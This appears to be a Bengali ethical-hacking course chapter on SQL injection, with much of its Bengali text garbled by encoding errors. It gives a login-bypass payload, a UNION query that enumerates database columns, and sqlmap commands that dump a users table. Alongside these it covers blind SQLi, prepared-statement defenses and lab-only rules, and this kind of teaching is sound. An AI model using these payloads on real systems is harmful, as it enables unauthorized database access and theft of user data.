⚡ Shadow Academy
💉 Chapter 40

āĻāχ āĻ…āĻ§ā§āϝāĻžāϝāĻŧ⧇ āϕ⧀ āĻļāĻŋāĻ–āĻŦ⧇

⏱ āφāύ⧁āĻŽāĻžāύāĻŋāĻ• āϏāĻŽāϝāĻŧ: ā§§ā§Ģâ€“ā§¨ā§Ļ āĻŽāĻŋāύāĻŋāϟ ¡ āĻĒā§‚āĻ°ā§āĻŦāĻļāĻ°ā§āϤ: āφāϗ⧇āϰ āĻ…āĻ§ā§āϝāĻžāϝāĻŧ⧇āϰ āϧāĻžāϰāĻŖāĻž

ā§Ļ / ā§§ā§Ļā§Ļ āĻ…āĻ§ā§āϝāĻžā§ŸāϚāĻžāϞāĻŋāϝāĻŧ⧇ āϝāĻžāĻ“: āĻ…āĻ§ā§āϝāĻžāϝāĻŧ 41

āĻ…āĻ—ā§āϰāĻ—āϤāĻŋ āĻāχ browser-āĻ āĻ¸ā§āĻĨāĻžāύ⧀āϝāĻŧāĻ­āĻžāĻŦ⧇ āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻšāĻŦ⧇āĨ¤

💉
SQL Injection — Database-āĻāϰ āϰāĻžāϜāĻž āĻšāĻ“!
SQL āχāύāĻœā§‡āĻ•āĻļāύ āĻŽā§‡āĻĨāĻĄā§‹āϞāϜāĻŋ, UNION āĻ…ā§āϝāĻžāϟāĻžāĻ•, Blind āϟāĻžāχāĻŽ āĻ…ā§āϝāĻžāϟāĻžāĻ• āĻ“ sqlmap āĻĄāĻžāĻŽā§āĻĒāĻŋāĻ‚
🧭 āĻĻāĻ•ā§āώāϤāĻž āϝāĻžāϚāĻžāχ āĻ“ āĻĒā§āϰāϤāĻŋāϰāĻ•ā§āώāĻžāĻŽā§‚āϞāĻ• takeaway
Skill checkpoint: Training database-āĻ SQLi root cause āĻļāύāĻžāĻ•ā§āϤ āĻ•āϰ⧇ fix-āĻāϰ āĻĒā§āϰāĻ­āĻžāĻŦ āĻŦā§‹āĻā§‹āĨ¤
Defense checkpoint: Prepared statement, least privilege āĻāĻŦāĻ‚ regression retest āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧋.
Lab scope: āĻļ⧁āϧ⧁ āύāĻŋāĻœā§‡āϰ lab, synthetic data āĻŦāĻž āϞāĻŋāĻ–āĻŋāϤ āĻ…āύ⧁āĻŽāϤāĻŋāĻĒā§āϰāĻžāĻĒā§āϤ target-āĻ āĻ…āύ⧁āĻļā§€āϞāύ āĻ•āϰ⧋āĨ¤ Real credential, token āĻŦāĻž customer data āĻŦā§āϝāĻŦāĻšāĻžāϰ āϕ⧋āϰ⧋ āύāĻžāĨ¤
Portfolio proof: finding, impact, fix āĻ“ retest āύāĻŋā§Ÿā§‡ ā§Ģ-āϞāĻžāχāύ⧇āϰ redacted note āϰāĻžāĻ–ā§‹āĨ¤
💉 āĻ—āĻ˛ā§āĻĒ ā§§: āĻĄā§‡āϟāĻžāĻŦ⧇āϏ⧇āϰ āĻ•āĻžāύ āĻŽāϞ⧇ āϏāĻ¤ā§āϝāĻŋ āĻ•āĻĨāĻž āĻŦ⧇āϰ āĻ•āϰāĻž!
āĻ­āĻžāĻŦā§‹ āϤ⧁āĻŽāĻŋ āĻāĻ•āϟāĻŋ āĻŦ⧜ āϕ⧋āĻŽā§āĻĒāĻžāύāĻŋāϰ āϰāĻŋāϏ⧇āĻĒāĻļāύ⧇ āϗ⧇āϞ⧇ āĻāĻŦāĻ‚ āĻ•āĻ°ā§āĻŽāϚāĻžāϰ⧀āϕ⧇ āĻŦāϞāϞ⧇: 'āφāĻŽāĻžāϰ āύāĻžāĻŽ āϏ⧌āϰāĻ­, āφāĻŽāĻžāϕ⧇ āφāĻŽāĻžāϰ āĻĢāĻžāχāϞāϟāĻŋ āĻĻāĻŋāύ'āĨ¤ āĻ•āĻ°ā§āĻŽāϚāĻžāϰ⧀ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ⧇ āϞāĻŋāĻ–āϞ: `SELECT * FROM users WHERE username = 'āϏ⧌āϰāĻ­'`āĨ¤

āĻ•āĻŋāĻ¨ā§āϤ⧁ āϤ⧁āĻŽāĻŋ āϝāĻĻāĻŋ āĻāĻ•āϟ⧁ āϧ⧂āĻ°ā§āϤ āĻšā§Ÿā§‡ āϤ⧋āĻŽāĻžāϰ āύāĻžāĻŽ āĻŦāϞ⧋:
`admin' OR '1'='1`

āϤāĻ–āύ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ⧇āϰ āĻ•ā§ā§Ÿā§‡āϰāĻŋ āĻĻāĻžāρ⧜āĻžāĻŦ⧇:
`SELECT * FROM users WHERE username = 'admin' OR '1'='1'`
āϝ⧇āĻšā§‡āϤ⧁ 'ā§§ āϏāĻŽāĻžāύ ā§§' āϚāĻŋāϰāĻ¨ā§āϤāύ āϏāĻ¤ā§āϝ, āϤāĻžāχ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϭ⧇āϰāĻŋāĻĢāĻžāχ āĻ•āϰāĻž āϭ⧁āϞ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāϰāĻžāϏāϰāĻŋ āĻ…ā§āϝāĻžāĻĄāĻŽāĻŋāύ āĻšāĻŋāϏ⧇āĻŦ⧇ āϞāĻ—āχāύ āĻ•āϰāĻŋā§Ÿā§‡ āĻĻ⧇āĻŦ⧇! āĻāϕ⧇āχ āĻŦāϞ⧇ āĻ•āĻŋāĻ‚āĻŦāĻĻāĻ¨ā§āϤāĻŋ SQL Injection (SQLi)!
📊 āĻ—āĻ˛ā§āĻĒ ā§¨: UNION Injection āĻ“ āĻĄā§‡āϟāĻžāĻŦ⧇āϏ āĻĄāĻžāĻŽā§āĻĒāĻŋāĻ‚
SQL āχāύāĻœā§‡āĻ•āĻļāύ⧇āϰ āϏāĻŦāĻšā§‡ā§Ÿā§‡ āĻŦāĻŋāĻ§ā§āĻŦāĻ‚āϏ⧀ āϰ⧂āĻĒ āĻšāϞ⧋ UNION Based SQLiāĨ¤ āϤ⧁āĻŽāĻŋ āϤ⧋āĻŽāĻžāϰ āχāύāĻĒ⧁āĻŸā§‡āϰ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āφāϏāϞ āĻ•ā§ā§Ÿā§‡āϰāĻŋāϰ āϏāĻžāĻĨ⧇ āύāĻŋāĻœā§‡āϰ āĻŦāĻžāύāĻžāύ⧋ āφāϰ⧇āĻ•āϟāĻž āĻ•ā§ā§Ÿā§‡āϰāĻŋ āφāĻ āĻž āĻĻāĻŋā§Ÿā§‡ āĻœā§ā§œā§‡ āĻĻāĻžāĻ“!

āϝ⧇āĻŽāύ:
`' UNION SELECT 1, table_name, column_name FROM information_schema.columns--`
āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϕ⧋āύ⧋ āĻĒā§āϰāĻĄāĻžāĻ•ā§āϟ āĻĻ⧇āĻ–āĻžāύ⧋āϰ āĻŦāĻĻāϞ⧇ āĻ¸ā§āĻ•ā§āϰāĻŋāύ⧇ āĻāĻ• āĻĒāϞāϕ⧇ āĻĄā§‡āϟāĻžāĻŦ⧇āϏ⧇āϰ āϏāĻŽāĻ¸ā§āϤ āĻŸā§‡āĻŦāĻŋāϞ, āĻ•āϞāĻžāĻŽ, āĻ•ā§āϰ⧇āĻĄāĻŋāϟ āĻ•āĻžāĻ°ā§āĻĄ āύāĻŽā§āĻŦāϰ āφāϰ āĻšā§āϝāĻžāĻļ āĻ•āϰāĻž āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒā§āϰāĻŋāĻ¨ā§āϟ āĻ•āϰ⧇ āĻĻ⧇āĻŦ⧇!
# sqlmap āĻĻāĻŋā§Ÿā§‡ āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟āĻ­āĻžāĻŦ⧇ SQL Injection āĻŸā§‡āĻ¸ā§āϟ āĻ“ āĻĄā§‡āϟāĻžāĻŦ⧇āϏ āĻĄāĻžāĻŽā§āĻĒāĻŋāĻ‚:
# Step 1: āĻ­āĻžāϞāύāĻžāϰ⧇āĻŦāϞ āĻĒā§āϝāĻžāϰāĻžāĻŽāĻŋāϟāĻžāϰ āĻ¸ā§āĻ•ā§āϝāĻžāύ āĻ•āϰ⧋:
sqlmap -u "https://target.com/product.php?id=1" --batch --dbs

# Step 2: āĻĄā§‡āϟāĻžāĻŦ⧇āϏ⧇āϰ āĻŸā§‡āĻŦāĻŋāϞāϗ⧁āϞ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻĻ⧇āĻ–ā§‹:
sqlmap -u "https://target.com/product.php?id=1" -D ecommerce_db --tables

# Step 3: āχāωāϜāĻžāϰ āĻŸā§‡āĻŦāĻŋāϞ⧇āϰ āĻĄā§‡āϟāĻž āĻ¸ā§āĻ•ā§āϰāĻŋāύ āĻĄāĻžāĻŽā§āĻĒ āĻ•āϰ⧋:
sqlmap -u "https://target.com/product.php?id=1" -D ecommerce_db -T users --dump
đŸ›Ąī¸ āĻ—āĻ˛ā§āĻĒ ā§Š: āĻ…āĻ¨ā§āϧ⧇āϰ āĻŽāϤ⧋ āĻ…āĻ¨ā§āϧāĻ•āĻžāϰ⧇ āĻĸāĻŋāϞ āĻŽāĻžāϰāĻž — Blind SQLi āĻ“ āĻĒā§āϰāϤāĻŋāϰ⧋āϧ
āĻ…āύ⧇āĻ• āϏāĻŽā§Ÿ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ¸ā§āĻ•ā§āϰāĻŋāύ⧇ āϕ⧋āύ⧋ āĻāϰāϰ āĻŦāĻž āĻĄā§‡āϟāĻž āĻĻ⧇āĻ–āĻžā§Ÿ āύāĻž (Generic 200 OK)āĨ¤ āϤāĻ–āύ āĻšā§āϝāĻžāĻ•āĻžāϰāϰāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ Time-Based Blind SQLi! āĻšā§āϝāĻžāĻ•āĻžāϰ āĻŦāϞ⧇: 'āϝāĻĻāĻŋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄā§‡āϰ āĻĒā§āϰāĻĨāĻŽ āĻ…āĻ•ā§āώāϰ 'A' āĻšā§Ÿ, āϤāĻŦ⧇ ā§Ģ āϏ⧇āϕ⧇āĻ¨ā§āĻĄ āϘ⧁āĻŽāĻžāĻ“ (SLEEP(5))!' āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϝāĻĻāĻŋ ā§Ģ āϏ⧇āϕ⧇āĻ¨ā§āĻĄ āĻĻ⧇āϰāĻŋāϤ⧇ āωāĻ¤ā§āϤāϰ āĻĻā§‡ā§Ÿ, āϤāĻŦ⧇ āĻšā§āϝāĻžāĻ•āĻžāϰ āĻŦ⧁āĻā§‡ āϝāĻžā§Ÿ āĻĒā§āϰāĻĨāĻŽ āĻ…āĻ•ā§āώāϰ āύāĻŋāĻļā§āϚāĻŋāϤāĻ­āĻžāĻŦ⧇āχ 'A' āĻ›āĻŋāϞ!

āĻĒā§āϰāϤāĻŋāϰ⧋āϧ⧇āϰ āĻāĻ•āĻŽāĻžāĻ¤ā§āϰ āωāĻĒāĻžā§Ÿ: āĻ•āĻ–āύ⧋āχ āĻ•ā§ā§Ÿā§‡āϰāĻŋāϤ⧇ āϏāϰāĻžāϏāϰāĻŋ āχāωāϜāĻžāϰ⧇āϰ āχāύāĻĒ⧁āϟ āĻœā§‹ā§œāĻž āϞāĻžāĻ—āĻžāĻŦ⧇ āύāĻž (`Concatenation`)āĨ¤ āϏāĻŦāϏāĻŽā§Ÿ Prepared Statements / Parameterized Queries (`?` āĻŦāĻž `$1`) āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻŦ⧇!
💡 SQLi āϏ⧋āύāĻžāϰ āύāĻŋ⧟āĻŽ
āχāύāĻĒ⧁āĻŸā§‡ āĻāĻ•āϟāĻž āϏāĻŋāĻ™ā§āϗ⧇āϞ āϕ⧋āϟ (`'`) āĻŦāĻž āĻ¸ā§āĻ˛ā§āϝāĻžāĻļ (`\`) āĻĻāĻŋā§Ÿā§‡ āĻĻ⧇āĻ–ā§‹ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϕ⧋āύ⧋ āĻĄā§‡āϟāĻžāĻŦ⧇āϏ āĻāϰāϰ (āϝ⧇āĻŽāύ: syntax error in SQL statement) āϛ⧁āĻā§œā§‡ āĻĻā§‡ā§Ÿ āĻ•āĻŋāύāĻž!

đŸ§Ē SQLi Query Execution Simulator

āĻĒ⧇āϞ⧋āĻĄ āχāύāĻĒ⧁āϟ āĻĻāĻžāĻ“ (āϝ⧇āĻŽāύ: ' OR '1'='1) — āĻĄā§‡āϟāĻžāĻŦ⧇āϏ āĻŦāĻžāχāĻĒāĻžāϏ āĻĻ⧇āĻ–ā§‹!

āĻ˛ā§āϝāĻžāĻŦ⧇āϰ āχāύāĻĒ⧁āϟ āĻĻāĻŋā§Ÿā§‡ "āϰāĻžāύ āĻ•āϰ⧋" āĻŦāĻžāϟāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧋...
❓ āĻĒā§āϰāĻļā§āύ 1: SQL Injection āϕ⧀?
❓ āĻĒā§āϰāĻļā§āύ 2: ' OR '1'='1 āϕ⧇āύ āĻ•āĻžāϜ āĻ•āϰ⧇?
❓ āĻĒā§āϰāĻļā§āύ 3: sqlmap āϕ⧋āύ tool?
❓ āĻĒā§āϰāĻļā§āύ 4: Time-based blind SQLi āϕ⧀āĻ­āĻžāĻŦ⧇ āĻ•āĻžāϜ āĻ•āϰ⧇?
❓ āĻĒā§āϰāĻļā§āύ 5: Union-based SQLi-āϤ⧇ āϕ⧀ āĻ•āϰāϤ⧇ āĻšāϝāĻŧ?
❓ āĻĒā§āϰāĻļā§āύ 6: SQLi prevent āĻ•āϰāϤ⧇ āϕ⧀ use āĻ•āϰāĻŦ⧇?
❓ āĻĒā§āϰāĻļā§āύ 7: SQL error message-āĻ āϕ⧀ āĻĨāĻžāϕ⧇?
❓ āĻĒā§āϰāĻļā§āύ 8: Boolean blind SQLi-āϤ⧇ āϕ⧀ āĻĻ⧇āĻ–ā§‹?
❓ āĻĒā§āϰāĻļā§āύ 9: SQLi āĻĻāĻŋāϝāĻŧ⧇ āϕ⧀ āĻ•āϰāĻž āϏāĻŽā§āĻ­āĻŦ?
❓ āĻĒā§āϰāĻļā§āύ 10: sqlmap command-āĻ --dbs āϕ⧀ āĻ•āϰ⧇?

āĻŦāĻŋāĻļā§āĻŦāĻ¸ā§āϤ reference

āφāϰāĻ“ āĻĒāĻĄāĻŧāĻžāϰ āϜāĻ¨ā§āϝ āĻĒā§āϰāϤāĻŋāĻˇā§āĻ āĻŋāϤ security standards āĻ“ guidance āĻĻ⧇āĻ–ā§‹; āĻĒā§āϰāϤāĻŋāϟāĻŋ lab āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻŦāĻž synthetic environment-āĻ āĻ•āϰ⧋āĨ¤

Bristy Ma'am
āĻŦ⧃āĻˇā§āϟāĻŋ āĻŽā§āϝāĻžāĻŽ 👩‍đŸĢ
āϤ⧋āĻŽāĻžāϰ āĻĒāĻžāĻ°ā§āϏ⧋āύāĻžāϞ āĻšā§āϝāĻžāĻ•āĻŋāĻ‚ āĻŽā§‡āĻ¨ā§āϟāϰ â€ĸ āĻ…āύāϞāĻžāχāύ
āφāϰ⧇ āϏ⧌āϰāĻ­! āϕ⧇āĻŽāύ āφāϛ⧋? āϕ⧋āύ⧋ āĻ•āύāϏ⧇āĻĒā§āϟ āĻŦāĻž āϕ⧁āχāĻœā§‡ āφāϟāĻ•āĻžāϞ⧇ āφāĻŽāĻžāϕ⧇ āĻŦāϞ⧋, āφāĻŽāĻŋ āĻŦ⧁āĻāĻŋā§Ÿā§‡ āĻĻāĻŋāĻšā§āĻ›āĻŋ! â¤ī¸